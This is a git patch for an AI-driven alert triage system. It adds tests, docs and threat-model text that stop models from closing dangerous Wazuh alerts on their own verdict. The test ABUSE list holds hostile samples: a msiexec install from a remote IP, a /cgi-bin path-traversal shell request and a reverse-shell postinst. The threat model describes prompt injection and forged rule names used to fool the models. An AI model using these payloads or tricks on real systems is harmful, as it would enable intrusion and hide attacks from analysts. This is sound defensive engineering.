{CATALOGUE_VERSION}" in decision.reason + assert routing.decide(state, T, "off").route == "escalate" + + +def test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class() -> None: + for mitre, found in (({"tactic": ["Credential Access"], "id": ["T1110"]}, "credential_access"), + ({"tactic": ["Defense Evasion"], "id": ["T1562.001"]}, "tampering"), + ({"tactic": ["Persistence"], "id": ["T1543.002"]}, "named_persistence")): + state = wazuh_state(wazuh_event("2902", DPKG, mitre=mitre)) + assert noise_family(state["alert"]) is not None # the rule is catalogued ... + assert closure.catalogued_noise(state["alert"]) is None # ... but it is not unmapped + assert model_close_class(state["alert"]) == found + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == ["never_close_class"] + mapped = wazuh_state(wazuh_event("2902", DPKG, mitre={"tactic": ["Execution"], "id": ["T1072"]})) + assert routing.decide(mapped, T, AUTO).reason == "AI-closed, audit required: both model tiers judged it benign" + + +# --------------------------------------------------------------------------- rule id only, never text + + +@pytest.mark.parametrize( + ("rule_id", "description"), + [ + ("100200", DPKG), # a custom (local) rule copying a stock description word for word + ("100201", "2902: New dpkg (Debian Package) installed."), # the description forges the rule-name prefix + ("554", "File added to the system."), # a dropped file is not package noise + ("2903", "Dpkg (Debian Package) removed."), # removing a security agent is defense impairment + ("2934", "Yum package deleted."), + ("31120", "Web server 500 error code (server error)."), # a server error can be an exploit's side effect + ("61104", "Service startup type was changed"), + ("80792", "Audit: Command: /usr/bin/dpkg."), + ], +) +def test_a_forged_or_borrowed_title_on_an_uncatalogued_rule_stays_unmapped(rule_id: str, description: str) -> None: + event = wazuh_event(rule_id, description, full_log="New dpkg (Debian Package) installed. rule 2902 62130 31101") + state = wazuh_state(event, **{"alert.title": DPKG, "alert.description": "2902: " + DPKG}) + assert noise_family(state["alert"]) is None + assert model_close_class(state["alert"]) == UNMAPPED + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == ["never_close_class"] + assert routing.decide(state, T, AUTO).route == "escalate" + + +def test_the_rule_id_comes_from_the_vendor_event_and_the_wazuh_rule_name_only() -> None: + alert = state_alert(wazuh_event("2902", DPKG)) + assert alert["rule_name"] == f"2902: {DPKG}" and detection_rule(alert) == DetectionRule(WAZUH, "2902") + assert detection_rule({**alert, "raw": {**alert["raw"], "rule": {**alert["raw"]["rule"], "id": 2902}}}) is not None + forged_name = {**alert, "raw": {**alert["raw"], "rule": {**alert["raw"]["rule"], "id": "100200"}}} + assert detection_rule(forged_name) is None # rule_name says 2902, the vendor event says 100200 + for broken in ( + {**alert, "rule_name": DPKG}, # no Wazuh rule-name prefix: not built by the Wazuh normalizer + {**alert, "rule_name": None}, + {**alert, "rule_name": "29021: x"}, + {k: v for k, v in alert.items() if k != "raw"}, # raw dropped (state size cap): unknown + {**alert, "raw": {"_omitted": "raw event too large for workflow state"}}, + {**alert, "raw": {"rule": "2902"}}, + {**alert, "raw": {"rule": {"id": True}}}, + {**alert, "raw": {"rule": {"id": ["2902"]}}}, + {**alert, "raw": {"rule": {"id": "2902a"}}}, + {**alert, "raw": {"rule": {"id": ""}}}, + {**alert, "raw": {"rule": {"id": "29" * 8}}}, + None, [], "2902", + ): + assert detection_rule(broken) is None, broken + assert noise_family(broken) is None + assert model_close_class(broken) == UNMAPPED + # A title, description or rule name alone is never a rule id (a canonical alert without a vendor event). + canonical = {"title": DPKG, "description": DPKG, "rule_name": f"2902: {DPKG}", "mitre": {}, "raw": {}} + assert noise_family(canonical) is None and model_close_class(canonical) == UNMAPPED + + +def test_an_oversized_raw_event_is_dropped_by_the_state_cap_and_fails_closed() -> None: + event = {**wazuh_event("2902", DPKG), "data": {f"field{i}": "x" * 1_500 for i in range(30)}} + alert = state_alert(event) + assert "rule" not in alert["raw"] + assert model_close_class(alert) == UNMAPPED + + +# --------------------------------------------------------------------------- every other condition still applies + + +@pytest.mark.parametrize( + ("change", "blocker"), + [ + ({"severity": "high"}, "severity"), + ({"severity": "critical"}, "severity"), + ({"triage.rule_tp": ["prompt_injection_suspected"]}, "steering_text"), + ({"analysis.rule_evidence": ["prior_malicious_history"]}, "recent_true_positive"), + ({"analysis.rule_corroborated": True}, "recent_true_positive"), + ({"correlation.related_dispositions": {"malicious": 1}}, "recent_true_positive"), + ({"correlation": {"related_count": 2, "related_dispositions": {}}}, "campaign_in_progress"), + ({"triage.threat_likelihood": 9}, "fast_tier_not_benign"), + ({"triage.threat_assessment": "suspicious"}, "fast_tier_not_benign"), + ({"triage.llm_used": False}, "fast_tier_not_benign"), + ({"analysis.certainty": 84}, "deep_tier_not_benign"), + ({"analysis.verdict": "inconclusive"}, "deep_tier_not_benign"), + ], +) +def test_every_other_condition_still_blocks_a_catalogued_rule(change: Dict[str, Any], blocker: str) -> None: + state = wazuh_state(wazuh_event("2902", DPKG), **change) + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == [blocker] + assert routing.decide(state, T, AUTO).route != "close" + assert model_close_blockers(state, tier="off", max_likelihood=8, min_certainty=85)[0] == "tier_off" + + +def test_a_high_level_catalogued_rule_never_closes_on_the_models_word() -> None: + state = wazuh_state(wazuh_event("2902", DPKG, level=12)) + assert state["severity"] == "high" + assert routing.decide(state, T, AUTO).route == "escalate" + + +# --------------------------------------------------------------------------- the abuse each family could hide + +ABUSE = [ + ("2902", DPKG, "status installed sysupdate-helper:amd64 1.0 (postinst opens a reverse shell)"), + ("2932", "New Yum package installed.", "Installed: kernel-tools-helper-0.1-1.x86_64 (unsigned, from /tmp)"), + ("60612", "Application installed Product: AnyDesk -- Installation completed successfully.", + "MsiInstaller: msiexec /q /i http://203.0.113.9/a.msi"), + ("31101", "Web server 400 error code.", "GET /cgi-bin/.%2e/.%2e/bin/sh HTTP/1.1 400"), +] +MALICIOUS_VERDICTS = [ + # The deep tier says malicious, the fast tier a likely threat. + {"triage.threat_assessment": "likely_threat", "triage.threat_likelihood": 85, "analysis.verdict": "malicious", + "analysis.threat_score": 90, "analysis.certainty": 90}, + # The deep tier says malicious at a low threat score. + {"analysis.verdict": "malicious", "analysis.threat_score": 20, "analysis.certainty": 70}, + # Only the fast tier is suspicious; the deep tier was persuaded. + {"triage.threat_assessment": "suspicious", "triage.threat_likelihood": 40}, + # The deep tier cannot tell. + {"analysis.verdict": "inconclusive", "analysis.threat_score": 50, "analysis.certainty": 40}, +] + + +@pytest.mark.parametrize(("rule_id", "description", "log"), ABUSE) +@pytest.mark.parametrize("verdict", MALICIOUS_VERDICTS) +def test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates( + rule_id: str, description: str, log: str, verdict: Dict[str, Any] +) -> None: + """Malicious package install, software install as execution, web probing: the catalogue never decides the + verdict, so a model that sees the abuse sends it to a person (an analyst or a response plan) at every tier.""" + state = wazuh_state(wazuh_event(rule_id, description, full_log=log), **verdict) + assert closure.catalogued_noise(state["alert"]) is not None + for tier in ("off", AUTO): + decision = routing.decide(state, T, tier) + assert decision.route in ("escalate", "plan_response") and decision.disposition != "benign", (tier, decision) diff --git a/tests/unit/invariants/test_checks.py b/tests/unit/invariants/test_checks.py index 9422928c..79041ac4 100644 --- a/tests/unit/invariants/test_checks.py +++ b/tests/unit/invariants/test_checks.py @@ -88,6 +88,7 @@ def test_routing_policy(make_settings: Callable[..., Settings], monkeypatch: pyt "high alert closed on a benign verdict", "low alert closed on the models' verdict with model-led closure off", "credential access alert closed on the models' verdict", + "alert closed on the models' verdict next to a different detection on its entities", "low alert closed on benign evidence despite rule evidence of a threat", ] @@ -221,6 +222,12 @@ def test_the_synthetic_routing_states_are_ones_the_policy_would_otherwise_close( assert decide(checks._benign_state("low", evidence=False), t, "auto_full_audit").code == "model_closed" credential = checks._benign_state("low", evidence=False, tactic="Credential Access") assert decide(credential, t, "auto_full_audit").code == "false_positive_review" + repeats = checks._benign_state("low", evidence=False) + repeats["correlation"] = {"related_count": 1, "related_rule_repeats": 1, "related_complete": True, + "related_threats": 0, "related_dispositions": {"benign": 1}} + assert decide(repeats, t, "auto_full_audit").code == "model_closed" # the same rule repeating closes + repeats["correlation"]["related_rule_repeats"] = 0 + assert decide(repeats, t, "auto_full_audit").code == "false_positive_review" corroborated = checks._benign_state("low") corroborated["analysis"].update(rule_corroborated=True) assert decide(corroborated, t).code == "false_positive_review" From 7d0cad3e6cc170e65f52c147c508758dc86c7d5b Mon Sep 17 00:00:00 2001 From: Ahmed Ghazouani Date: Mon, 9 Nov 2026 18:48:48 +0100 Subject: [PATCH 2/5] FIX-2 review: auth failures never close, siblings must pass their own close check, format-gated catalogue H1: T1531, the Wazuh authentication-failure groups and rules 6250/44733 are credential access. M1: a same-rule sibling is a quiet repeat only when closed as benign or when its own model-close blockers (minus tier and campaign) are empty. L1: the ingestion service records the normalizer format on the canonical alert (kept out of prompts) and the catalogue and repeat count require wazuh. L2-L5: abuse, residual-risk and fail-closed text corrected; non-Wazuh vendors and the max_correlations bound documented. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JmdYVXkgpNHoygVJCrUeZc --- changelog.d/FIX-2.md | 45 +++++-- docs/ai-system-card.md | 5 +- docs/architecture.md | 12 +- docs/invariants.md | 4 +- docs/security.md | 4 +- docs/threat-model.md | 2 +- src/lg_sotf/agents/analysis/base.py | 3 +- src/lg_sotf/agents/correlation/base.py | 91 ++++++++++---- src/lg_sotf/agents/triage/base.py | 3 +- src/lg_sotf/domain/closure.py | 40 ++++-- src/lg_sotf/domain/noise_families.py | 115 ++++++++++++++---- src/lg_sotf/ingestion/service.py | 13 +- src/lg_sotf/invariants/registry.py | 13 +- src/lg_sotf/models/alert.py | 13 ++ .../integration/engine/test_model_closure.py | 2 +- tests/integration/ingestion/test_ingest.py | 20 ++- tests/unit/agents/test_campaign_split.py | 72 +++++++++-- tests/unit/domain/test_noise_families.py | 72 ++++++++++- 18 files changed, 420 insertions(+), 109 deletions(-) diff --git a/changelog.d/FIX-2.md b/changelog.d/FIX-2.md index b65698fb..2663849d 100644 --- a/changelog.d/FIX-2.md +++ b/changelog.d/FIX-2.md @@ -11,22 +11,43 @@ and a campaign in progress still block. Such a close's decision reason names the family and the catalogue version. - The campaign check now tells one detection rule repeating apart from an - attack. A burst of the same rule, every repeat judged benign by the fast - tier, no longer blocks a model-led close, and neither do those repeats - while they wait for an analyst (before, nothing closed, so everything - stayed open and the check blocked itself). The correlation digest has two - new fields, `related_rule_repeats` and `related_complete`. + attack. A burst of the same rule no longer blocks a model-led close, and + neither do those repeats while they wait for an analyst (before, nothing + closed, so everything stayed open and the check blocked itself), when + every repeat was either closed as benign or is one the models could close + themselves: no steering text, no recent true positive, both model tiers + benign within the thresholds, no never-close class. The correlation + digest has two new fields, `related_rule_repeats` and `related_complete`. + A complete related set holds fewer than `agents.correlation.max_correlations` + alerts (10 by default), so at most 9 repeats stand behind a close. +- Rule ids are known for Wazuh alerts only. For other vendors (Sentinel, + CrowdStrike, ...) every related alert still blocks a model-led close. +- Alerts now record the format whose normalizer built them + (`normalized.normalizer`: `wazuh`, `canonical`, `webhook`, `llm`, ...). + Models never see it. Alerts stored before this release have none, so the + catalogue and the repeat count do not apply to them. ### Security -- The catalogue reads only the rule id of the vendor's own event, never the - title, description or rule-name text: a custom rule that copies a stock - description, or a forged rule-name prefix, stays unmapped. An alert whose +- Authentication failures never close on the models' word, whatever ATT&CK + technique the vendor gave them: a Wazuh rule in the groups + `authentication_failed`, `authentication_failures`, `invalid_login` or + `login_denied`, the rules 6250 (Asterisk) and 44733 (FortiAuthenticator), + and ATT&CK T1531, where Wazuh maps its Windows logon failures. Before, + 25 stock Wazuh rules of that kind (logon failures, a failed logon from a + malicious IP, a possible replay attack) were closable. + +- The catalogue reads only the rule id of the vendor's own event, and only + on an alert the Wazuh normalizer built, never the title, description or + rule-name text: a custom rule that copies a stock description, a forged + rule-name prefix or a canonical push of a Wazuh document stays unmapped. An alert whose raw event was dropped by the state size cap stays unmapped too. - A related alert still blocks a model-led close when its detection rule differs (a possible kill chain, even if it was closed as benign), when a - model judged it malicious or suspicious, when no model judged it yet, - when it is in a never-close class, or when it is a response plan awaiting - approval. A related set that may be incomplete (the correlation query hit + model judged it malicious or suspicious, when it is still waiting for a + model or for its deep verdict, when it carries steering text or a recent + true positive, when a model tier was not sure enough, when it is in a + never-close class, or when it is a response plan awaiting approval. A related set that may be incomplete (the correlation query hit its limit, or a related alert is hidden while it waits for a blind-audit - label) blocks too, and so does a digest without the new counts. + label) blocks too, and so does a digest from before this release that + lists related alerts. diff --git a/docs/ai-system-card.md b/docs/ai-system-card.md index bad36fbd..04827bc2 100644 --- a/docs/ai-system-card.md +++ b/docs/ai-system-card.md @@ -282,12 +282,13 @@ auto-close result is not yet a statement about the model. Decision policy v2.1 (FIX-2) adds a reviewed catalogue of unmapped Wazuh noise rules (by rule id) and a campaign check that lets one rule repeat. Simulated on the same recorded outputs, with the related alerts rebuilt -from the stream: 1 of the 312 benign alerts closes and none of the 208 +from the stream: none of the 312 benign alerts closes and none of the 208 malicious (only the 107 benign and 30 malicious alerts that run analysed can be simulated); on the 100 alerts of the FIX-1 dev run, 2 of 60 benign (0 of 40 malicious). The model tiers and related alerts a model judged suspicious -remain the main blockers. +remain the main blockers. With a model fooled on every corpus_v1 alert, the +policy alone closes none of the 208 malicious alerts. ### 7.2 Scorecard v1: `qwen2.5:7b` on a local Ollama diff --git a/docs/architecture.md b/docs/architecture.md index b38867cd..ff798fb9 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -292,11 +292,13 @@ Rules: installs, Windows software installs, Defender scan and signature status, web 4xx; keyed by vendor and rule id, never by text), triage found no steering text, no entity has a recent true positive, no campaign is in - progress (every related alert must be the same detection rule repeating, - judged benign by the fast tier and a threat by no model, outside the - never-close classes and not a plan awaiting approval, over a complete - related set: a different rule on the same entities is a possible kill - chain), and both model tiers say `benign`: fast-tier likelihood at + progress (every related alert must be the same Wazuh detection rule + repeating, a threat to no model, not a plan awaiting approval, and + either closed as benign or itself closable by the models, over a + complete related set: a different rule on the same entities is a + possible kill chain, and other vendors' related alerts always block), + authentication failures are credential access whatever their ATT&CK id + (Wazuh rule groups, T1531), and both model tiers say `benign`: fast-tier likelihood at most `routing.model_close_max_likelihood` (8) and deep-tier certainty at least `routing.model_close_min_certainty` (85). The `decide` node reads the tier from the tenant's settings at every decision. diff --git a/docs/invariants.md b/docs/invariants.md index ea64520c..29b7e14f 100644 --- a/docs/invariants.md +++ b/docs/invariants.md @@ -61,7 +61,7 @@ Containment changes a customer's environment. An action executes only once it is ## INV-03: An AI verdict alone never closes a high or critical alert or a never-close class; a low or medium alert closes on the models' word only at the tenant's autonomy tier -A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, unmapped alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering text, entities with a recent true positive or a campaign in progress (anything but the same detection rule repeating as benign noise over a complete related set); such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. +A fooled or injected model must not be able to make a dangerous alert disappear. Routing is a pure policy. High and critical alerts close only by an analyst, a suppression rule or an analyst-confirmed verdict. A low or medium alert closes when approved benign evidence an attacker cannot write corroborates a benign verdict: a cached analyst verdict, the detection rule's name, the EICAR hash, a test source or the tenant's declared context, such as a scanner as the source of the activity; never past steering text or a recent true positive, and a scanner or test source never for a never-close class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, persistence through attacker-named objects, authentication failures by vendor rule group, unmapped alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering text, entities with a recent true positive or a campaign in progress (anything but the same detection rule repeating as benign noise over a complete related set); such a close is marked model_closed for audit. With the tier off, the default, a model never closes an alert alone. * **Status:** enforced * **Owner epic:** AI-E6 @@ -89,6 +89,8 @@ A fooled or injected model must not be able to make a dangerous alert disappear. * `tests/unit/agents/test_campaign_split.py::test_a_different_detection_on_the_same_host_is_a_possible_kill_chain` * `tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when` * `tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed` + * `tests/unit/agents/test_campaign_split.py::test_review_m1_a_steering_msi_does_not_vouch_for_the_next` + * `tests/unit/domain/test_noise_families.py::test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping` * `tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close` * `tests/integration/engine/test_model_closure.py::test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not` * `tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on` diff --git a/docs/security.md b/docs/security.md index d176c62c..c368b0ce 100644 --- a/docs/security.md +++ b/docs/security.md @@ -252,7 +252,9 @@ close a dangerous alert or trigger containment. alone, marked `ai_closed:audit_required`, but never a never-close class (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects, or an alert without an ATT&CK mapping - unless its vendor rule id is in the reviewed noise catalogue, FIX-2), + unless its vendor rule id is in the reviewed noise catalogue, FIX-2; + authentication failures count as credential access whatever their + ATT&CK id), never with steering text, a recent true positive on its entities or a campaign in progress among its related alerts (anything but the same detection rule repeating as benign noise), and diff --git a/docs/threat-model.md b/docs/threat-model.md index 9255a2ce..9b52af8e 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -135,7 +135,7 @@ disclosure, **D**enial of service, **E**levation of privilege. | ID | STRIDE | Threat | Controls | Status | |---|---|---|---|---| | TM-WRK-1 | T | Prompt injection in alert fields changes the verdict | Untrusted-data blocks with escaped `<` and `>` (`src/lg_sotf/llm/prompting.py:365-400`); injection detection voids false-positive signals (`src/lg_sotf/agents/triage/base.py:125-131`); the injection signal blocks corroboration (`src/lg_sotf/agents/analysis/base.py:15-28`) | In place | -| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, with the normalizer's `: ` rule name) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. No campaign means every related alert is the same detection rule repeating (same vendor rule id, fast tier benign, no model threat judgement, no never-close class, no plan awaiting approval) over a complete related set: a different rule on the same entities, a hidden blind-audit sample, a query at its limit or a digest without the counts blocks the close. Residual: the actor on a host can choose which catalogued rule fires (a forged `dpkg.log` line); only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | +| TM-WRK-2 | T | A fooled model closes a dangerous alert, or the attacker names objects so the rules corroborate a benign close (title camouflage) | High and critical alerts are never auto-closed; low and medium need approved benign evidence (a rule false-positive signal or a cached analyst verdict), never past steering text or a recent true positive, and a declared scanner (only as the source of the activity) or a test source never for a never-close class; refusals escalate (`src/lg_sotf/domain/routing.py:1-35`). Model-led closure without such evidence is off unless a tenant admin (never under an MSSP grant, audited) sets `ai_closure.tier` to `auto_full_audit`; even then it needs both model tiers benign within install thresholds, no steering text, no recent true positive on the entities, no campaign in progress, an ATT&CK mapping and none of the never-close classes (credential access, log clearing, tampering, ransomware, persistence through attacker-named objects), and it is marked `ai_closed:audit_required` (`src/lg_sotf/domain/closure.py`, FIX-1). Policy v2.1 (FIX-2): an unmapped alert closes only when its vendor detection rule id (Wazuh `raw.rule.id`, on an alert the Wazuh normalizer built: the ingestion service records the format in `normalizer`, never from the event, and the rule name is that normalizer's `: `) is in the reviewed, versioned noise catalogue (`src/lg_sotf/domain/noise_families.py`: package installs and updates, Windows software installs, Defender scan and signature status, a single web 4xx), never on title, description or rule-name text; the catalogue lifts only `unmapped`, every other condition still applies, and each entry records the abuse it could hide (a malicious package, an MSI run as execution, web probing) with a test that a malicious or suspicious model verdict still escalates it. Authentication failures are credential access whatever ATT&CK id the vendor gave them: Wazuh rules in the groups `authentication_failed`, `authentication_failures`, `invalid_login` or `login_denied`, the listed ids 6250 and 44733, and T1531 (Wazuh maps Windows logon failures 60122-60130 there). No campaign means every related alert is the same detection rule repeating (same Wazuh rule id, a threat to no model, no plan awaiting approval, and either closed as benign or a model-close candidate itself: no steering text, no recent true positive, both tiers benign at the thresholds, no never-close class) over a complete related set: a different rule on the same entities, a sibling still waiting for its deep verdict, a hidden blind-audit sample, a query at its limit (`max_correlations`, so at most 9 repeats by default) or a digest without the counts blocks the close. Other vendors have no rule id here yet, so any related alert blocks theirs. Residual: an actor on a host, often without privileges (`logger -t yum`, a per-user MSI install), can choose which catalogued rule fires; only the two model tiers then stand between it and a close, every such close is marked for audit, and its decision reason names the family and catalogue version. An attack made of one non-authentication rule repeating relies on the models: Wazuh's frequency rules are no backstop for a slow attack (60204 needs 8 failures from one IP in 240 s; 31151 is level 10, which maps to medium and is itself closable). When the state size cap drops the raw event, the group and id checks cannot run and an authentication failure rests on its ATT&CK mapping alone. Rule false-positive evidence comes only from the detection rule name with attacker-named values masked, EICAR hashes, the tenant's `triage.known_scanners` and the source id, never from titles, entity names, command lines, user agents or email subjects (`src/lg_sotf/domain/benign_evidence.py`, AI-E6.3). Rule-name words that name the detected activity (`scheduled`, `update`, `backup`, `scan`, `monitoring`) count only with a trusted qualifier: an intent word in the same rule name, a test-environment source id or, for `scan`, a known scanner (AI-E6.4) | In place; measured by `high_severity_auto_closed_benign` = 0 and the gated `title-camouflage` and `activity-camouflage` families of the adversarial corpus v2 in CI, at both autonomy tiers | | TM-WRK-3 | E | A fooled model triggers containment | Containment on model-only evidence always waits for approval (`src/lg_sotf/services/response/planner.py:328-329`); tenant autonomy, with unknown values read as `disabled` (`src/lg_sotf/services/response/policy.py:215-226`) | In place | | TM-WRK-4 | I | Alert data or secrets sent to the model provider | Secrets redacted before storage and before the model; personal data is **not** redacted | Partial: per-tenant pseudonymisation before the LLM call is planned (SEC7.5b) | | TM-WRK-5 | I | Model endpoint pointed at an internal or metadata address | `llm.base_url` egress check (`src/lg_sotf/llm/endpoint.py:80-100`), enforced at start-up (`src/lg_sotf/settings.py:519-524`) | In place | diff --git a/src/lg_sotf/agents/analysis/base.py b/src/lg_sotf/agents/analysis/base.py index 691ae7fe..bc5fe1f8 100644 --- a/src/lg_sotf/agents/analysis/base.py +++ b/src/lg_sotf/agents/analysis/base.py @@ -77,6 +77,7 @@ from lg_sotf.llm.registry import register_prompt from lg_sotf.llm.schema import clipped_list, clipped_str, lenient_literal from lg_sotf.llm.trace import observe +from lg_sotf.models.alert import model_view from lg_sotf.security.redaction import redact_text from lg_sotf.tools.enrichment import ( EnrichmentResult, @@ -474,7 +475,7 @@ def _prompt_block( "rule_threat_score": rule_score, } block: Dict[str, Any] = { - "alert": dict(alert), + "alert": model_view(alert), "background": background, "history": history, "candidates": {cid: c.prompt_view() for cid, c in candidates.items()}, diff --git a/src/lg_sotf/agents/correlation/base.py b/src/lg_sotf/agents/correlation/base.py index 62a9eb48..a0b523c0 100644 --- a/src/lg_sotf/agents/correlation/base.py +++ b/src/lg_sotf/agents/correlation/base.py @@ -26,13 +26,16 @@ (``related_threats``) and alerts still waiting for an analyst or an approval (``related_open_reviews``). Since FIX-2 it also counts the related alerts that are this alert's own detection rule repeating as noise -(``related_rule_repeats``: the same vendor rule id, judged benign by the fast -tier, a threat by no model, no never-close class, no response plan awaiting -approval) and records whether the related set is complete +(``related_rule_repeats``: the same vendor rule id, a threat to no model, no +response plan awaiting approval, and either closed as benign or one the +models could close themselves; see :func:`quiet_rule_repeat`) and records whether the related set is complete (``related_complete``: the query stayed under its limit and no related alert was hidden for a blind audit). A model-led close needs every related alert to be such a repeat over a complete set (:mod:`lg_sotf.domain.closure`): a -different detection on the same entities is a possible kill chain. A related +different detection on the same entities is a possible kill chain. The rule +id is known for Wazuh alerts only, so for other vendors every related alert +blocks a model-led close. The set is bounded by ``max_correlations`` +(default 10, at most 20): a complete set holds fewer. A related alert the models closed alone counts and shows as ``ai_closed_unaudited``, never as ``benign``. @@ -115,9 +118,8 @@ class CorrelationResult: # malicious or suspicious, and how many still wait for an analyst or an approval. related_threats: int = 0 related_open_reviews: int = 0 - # FIX-2: how many related alerts are this alert's detection rule repeating as noise (same vendor rule id, fast tier - # benign, no model threat judgement, no never-close class, no response plan awaiting approval), and whether the - # related set is complete (the query did not hit its limit and no related alert was hidden for a blind audit). + # FIX-2: how many related alerts are this alert's detection rule repeating as noise (quiet_rule_repeat), and + # whether the related set is complete (the query did not hit its limit and no related alert was hidden for a blind audit). # Fail closed: the defaults (0, False) block a model-led close whenever there is a related alert. related_rule_repeats: int = 0 related_complete: bool = False @@ -137,6 +139,7 @@ def digest(self) -> CorrelationDigest: #: A related alert's model assessments that count as judged a threat: the fast tier's, or the deep tier's verdict. THREAT_ASSESSMENTS = frozenset({"suspicious", "likely_threat", "confirmed_threat"}) APPROVAL_STATUS = "waiting_approval" +DEFAULT_THRESHOLDS = RoutingThresholds() OPEN_REVIEW_STATUSES = frozenset({"waiting_human", APPROVAL_STATUS}) @@ -162,24 +165,64 @@ def related_document(other: Any) -> Dict[str, Any]: return {**normalized, "raw": raw if isinstance(raw, Mapping) else {}} -def quiet_rule_repeat(rule: Optional[DetectionRule], other: Any, *, judged_threat: bool) -> bool: - """Whether a related alert is ``rule`` repeating as noise (FIX-2): the same vendor detection rule, judged benign by - the fast tier, a threat by no model, not a never-close class, and not a response plan awaiting approval. - - Anything unknown (no rule on either side, no fast-tier judgement, a deep verdict other than benign) is not quiet. +#: What a sibling's own model-close check may still report and leave it a quiet repeat: the tier (this alert's tier +#: decides) and the campaign check (the sibling's own related alerts are this alert's concern, counted here). +SIBLING_EXEMPT_BLOCKERS = frozenset({"tier_off", "campaign_in_progress"}) + + +def _sibling_state(other: Any) -> Dict[str, Any]: + """A related alert as routing state, from what is stored: its severity, alert document and agent digests.""" + return { + "severity": other.severity, + "alert": related_document(other), + "triage": dict(_summary_part(other, "triage")), + "analysis": dict(_summary_part(other, "analysis")), + "correlation": dict(_summary_part(other, "correlation")), + } + + +def quiet_rule_repeat( + rule: Optional[DetectionRule], + other: Any, + *, + judged_threat: bool, + max_likelihood: int = DEFAULT_THRESHOLDS.model_close_max_likelihood, + min_certainty: int = DEFAULT_THRESHOLDS.model_close_min_certainty, +) -> bool: + """Whether a related alert is ``rule`` repeating as noise (FIX-2). + + The same vendor detection rule, judged a threat by no model, not a + response plan awaiting approval, and either closed as benign (by an + analyst, approved evidence or a model-led close) or a model-led close + candidate itself: its own :func:`closure.model_close_blockers`, apart + from the tier and the campaign check, are empty (no steering text, no + recent true positive, both tiers benign at the thresholds, no never-close + class, a low enough severity). A sibling still waiting for a model, or + for its deep verdict, is not quiet: anything unknown blocks. """ if rule is None or judged_threat or other.status == APPROVAL_STATUS: return False - document = related_document(other) - if detection_rule(document) != rule or closure.model_close_class(document) is not None: + if detection_rule(related_document(other)) != rule: return False - return (_summary_part(other, "triage").get("threat_assessment") == "benign" - and _summary_part(other, "analysis").get("verdict") in (None, "benign")) - - -def tally_related(result: CorrelationResult, others: List[Any], rule: Optional[DetectionRule] = None) -> None: + if other.status == "closed" and other.disposition == "benign": + return True + blockers = closure.model_close_blockers( + _sibling_state(other), tier=closure.MODEL_CLOSE_TIER, max_likelihood=max_likelihood, + min_certainty=min_certainty, + ) + return not set(blockers) - SIBLING_EXEMPT_BLOCKERS + + +def tally_related( + result: CorrelationResult, + others: List[Any], + rule: Optional[DetectionRule] = None, + *, + thresholds: Optional[RoutingThresholds] = None, +) -> None: """Count every related alert's disposition, model judgement, open review and quiet repeat of ``rule`` (this alert's detection rule) into ``result``.""" + t = thresholds or DEFAULT_THRESHOLDS for other in others: key = related_disposition(other) result.related_dispositions[key] = result.related_dispositions.get(key, 0) + 1 @@ -188,7 +231,10 @@ def tally_related(result: CorrelationResult, 